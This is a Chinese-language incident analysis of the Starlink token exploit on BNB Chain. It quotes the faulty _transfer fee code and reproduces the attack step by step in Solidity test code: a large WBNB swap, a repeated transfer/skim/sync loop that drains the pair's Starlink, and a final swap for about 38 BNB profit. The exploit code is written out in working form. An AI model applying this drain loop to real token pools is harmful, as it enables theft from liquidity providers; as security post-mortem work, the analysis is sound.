基本信息
Starlink: https://bscscan.com/address/0x518281F34dbf5B76e6cdd3908a6972E8EC49e345
attack tx: https://bscscan.com/tx/0x146586f05a4513136deab3557ad15df8f77ffbcdbd0dd0724bc66dbeab98a962
漏洞原因:_transfer函数存在逻辑错误
获利金额:38BNB
关键函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| function _transfer( address sender, address recipient, uint256 amount ) internal virtual override { if ( botAddresses[sender] && amount > antiBotAmount && antiBotTime > block.timestamp ) { revert("Anti Bot"); }
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
bool buyLp = buyIndex >= buyIndexSellLiquify;
if ( overMinTokenBalance && !inSwapAndLiquify && sender != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); }
if(recipient == uniswapV2Pair){ if ( sender != address(this) && recipient != address(this) && !_isExcludedFromFee[sender] ) { if ( overMinTokenBalance && !inSwapAndLiquify && sender != uniswapV2Pair && swapSellLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } uint256 _fee = amount.mul(sellFeeRate).div(100); super._transfer(sender,mintContract, _fee.mul(LPSellFees).div(sellFeeRate)); super._transfer(sender, addressForMarketing, _fee.mul(marketSellFees).div(sellFeeRate)); super._transfer(sender, BurnAddr, _fee.mul(burnSellFees).div(sellFeeRate)); amount = amount.sub(_fee); } }else if(sender == uniswapV2Pair){ if ( sender != address(this) && recipient != address(this) && !_isExcludedFromFee[sender] ) { if ( overMinTokenBalance && !inSwapAndLiquify && buyLp&& swapBuyLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); buyIndex =0;
} uint256 _fee = amount.mul(buyFeeRate).div(100); super._transfer(sender,mintContract, _fee.mul(LPBuyFees).div(buyFeeRate)); super._transfer(sender,addressForMarketing, _fee.mul(marketBuyFees).div(buyFeeRate)); super._transfer(sender, BurnAddr, _fee.mul(burnBuyFees).div(buyFeeRate)); amount = amount.sub(_fee); buyIndex =buyIndex+1; } }
super._transfer(sender, recipient, amount); }
|
当调用者是uniswapV2Pair时,会额外地执行下面三行代码。
1 2 3
| super._transfer(sender,mintContract, _fee.mul(LPBuyFees).div(buyFeeRate)); super._transfer(sender,addressForMarketing, _fee.mul(marketBuyFees).div(buyFeeRate)); super._transfer(sender, BurnAddr, _fee.mul(burnBuyFees).div(buyFeeRate));
|
也就是说,当uniswapV2Pair向其他的账户/合约转账时,需要额外地向mintContract,addressForMarketing,BurnAddr转账Starlink代币。
最后调用super._transfer(sender, recipient, amount)
意味着,每一次通过uniswapV2Pair每一次转账,Pair中的两个代币的比例就会变化。Starlink会更贵一点。
漏洞分析
闪电贷WBNB
实际分析为了简单,直接通过deal是攻击合约获得指定数量的WBNB
1
| deal(address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c), address(this), 2177831607672464852249);
|
WBNB兑换Starlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function testExp() external { //直接跳过攻击合约中的闪电贷过程,这里的2177831607672464852249是攻击合约中的闪电贷的数量 deal(address(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c), address(this), 2177831607672464852249); WBNBToStarlink(); }
function WBNBToStarlink() internal { uint256 amountIn = WBNB.balanceOf(address(this)); WBNB.transfer(address(Pair), WBNB.balanceOf(address(this))); address[] memory path = new address[](2); path[0] = address(WBNB); path[1] = address(Starlink); // 计算可以获得的Starlink数量 uint256[] memory values = Router.getAmountsOut(amountIn, path); values[1] = Starlink.balanceOf(address(Pair)) * 51 / 100; // 将池子中的51%的Starlink兑换出来 Pair.swap(values[1], 0, address(this), ""); // values[1]中的值是 29131596526957197810 }
|
此时Pair合约就会调用Starlink的_transfer()函数。其中关键的地方是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function _transfer( address sender, address recipient, uint256 amount ) internal virtual override { if(sender == uniswapV2Pair){ uint256 _fee = amount.mul(buyFeeRate).div(100); // buyFeeRate = 8 super._transfer(sender,mintContract, _fee.mul(LPBuyFees).div(buyFeeRate)); // LPBuyFees = 0 // 实际计算,等价于 super._transfer(sender,addressForMarketing, amount) super._transfer(sender,addressForMarketing, _fee.mul(marketBuyFees).div(buyFeeRate)); super._transfer(sender, BurnAddr, _fee.mul(burnBuyFees).div(buyFeeRate)); // burnBuyFees = 0 amount = amount.sub(_fee); buyIndex =buyIndex+1; } // 等价与 super._transfer(sender, recipient, amount * 0.92) super._transfer(sender, recipient, amount); }
|
每一次Pair 转账,都会向addressForMarketing 转账amount数量的Starlink,向实际的recipient,实际转账0.92倍的Starlink。
这样就相当于Pair中的Starlink数量凭空少了,那么想对于WBNB的价格也提升了。
执行完毕之后:
- addressForMarketing,增加了 29131596526957197800 数量的Starlink
- 攻击合约中的有 26801068804800621986 数量的Starlink
- Pair中的代币数量
- WBNB数量:2216191447362031705944
- Starlink数量:1188112172079822979
触发漏洞函数
漏洞的位置要求是sender == uniswapV2Pair, 也就说要求Pair调用才能出发漏洞函数。但是Pair调用Statlink只能是swap的方式,有其他的方式吗?
通过手动地向Pair合约中转账,然后通过skim的方式将转账资金重新拿回来,这样也会触发Pair合约调用Starlink
1 2 3 4 5 6 7
| // 将当前合约中的Starlink代币全部转入到pair中 Starlink.transfer(address(Pair), Starlink.balanceOf(address(Pair))); // 转账数量 1188112172079822979 console2.log("Starlink.balanceOf(address(Pair) after",Starlink.balanceOf(address(Pair))); // 调用pair的skim方法,将pair中转入的Starlink代币转入到当前合约中,这样没有损失 // 此时也会出发Starlink代币中的transfer方法 Pair.skim(address(this)); Pair.sync();
|
第一步中的Starlink.transfer(address(Pair), Starlink.balanceOf(address(Pair)))同样会触发漏洞函数.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function _transfer( address sender, address recipient, uint256 amount ) internal virtual override {
if(recipient == uniswapV2Pair){ uint256 _fee = amount.mul(sellFeeRate).div(100); // sellFeeRate = 10 super._transfer(sender,mintContract, _fee.mul(LPSellFees).div(sellFeeRate)); // LPSellFees = 0 // 实际计算,等价于 super._transfer(sender,addressForMarketing, amount) super._transfer(sender, addressForMarketing, _fee.mul(marketSellFees).div(sellFeeRate)); super._transfer(sender, BurnAddr, _fee.mul(burnSellFees).div(sellFeeRate)); // burnSellFees = 0 amount = amount.sub(_fee); } // // 等价与 super._transfer(sender, recipient, amount * 0.9) super._transfer(sender, recipient, amount); }
|
最终addressForMarketing,同样会多对应amount数量的Startlink代币。Pair只能获得90%数量的Startlink代币。
- addressForMarketing,增加了 1188112172079822979 数量的Starlink
Pair增加了1069300954871840682数量的Starlink,此时Pair中的Token数量是2257413126951663661
第二步中的Pair.skim(address(this))同样会触发漏洞函数.
本次amount是1069300954871840675
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function _transfer( address sender, address recipient, uint256 amount ) internal virtual override { if(sender == uniswapV2Pair){ uint256 _fee = amount.mul(buyFeeRate).div(100); // buyFeeRate = 8 super._transfer(sender,mintContract, _fee.mul(LPBuyFees).div(buyFeeRate)); // LPBuyFees = 0 // 实际计算,等价于 super._transfer(sender,addressForMarketing, amount) super._transfer(sender,addressForMarketing, _fee.mul(marketBuyFees).div(buyFeeRate)); super._transfer(sender, BurnAddr, _fee.mul(burnBuyFees).div(buyFeeRate)); // burnBuyFees = 0 amount = amount.sub(_fee); buyIndex =buyIndex+1; } // 等价与 super._transfer(sender, recipient, amount * 0.92) super._transfer(sender, recipient, amount); }
|
对应的addressForMarketing 会增加 1069300954871840675 数量的Starlink. 对于Pair来说:
super._transfer(sender,addressForMarketing, amount) 损失 amount
super._transfer(sender, recipient, 0.92 * amount) 损失 0.92 * amount
最终减少的数量就是1.92 * amount
这样Pair中的Starlink就是莫名burn,那么Starlink代币的价格也会更高。
实施攻击
通过不断的transfer和skim的方式,大量触发Pair合约调用Stailink的转账函数,导致Stailink不断减少,Stailink 相对BNB也会更值钱。
1 2 3 4 5
| while (Starlink.balanceOf(address(Pair)) > 1000) { Starlink.transfer(address(Pair), Starlink.balanceOf(address(Pair))); Pair.skim(address(this)); Pair.sync(); }
|
运行完毕之后,计算Pair中的WBNB和Stailink的数量。
- WBNB数量:2216191447362031705944
- Starlink数量:613
经过大量的循环调用,Pair合约中的Starlink已经被消耗殆尽,WBNB数量没有变化。
获利
1 2 3 4 5 6 7 8 9 10
| StarlinkToWBNB(); function StarlinkToWBNB() internal { Starlink.approve(address(Router), type(uint256).max); address[] memory path = new address[](2); path[0] = address(Starlink); path[1] = address(WBNB); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( Starlink.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp ); }
|
攻击合约将Starlink通过Pair全部兑换为WBNB来获利。最终的结果是
- WBNB,2216191447362031586143
- Starlink,263141831032931492
最终获利:2216191447362031586143 - 2177831607672464852249 = 38359839689566733894 ,即 38个BNB。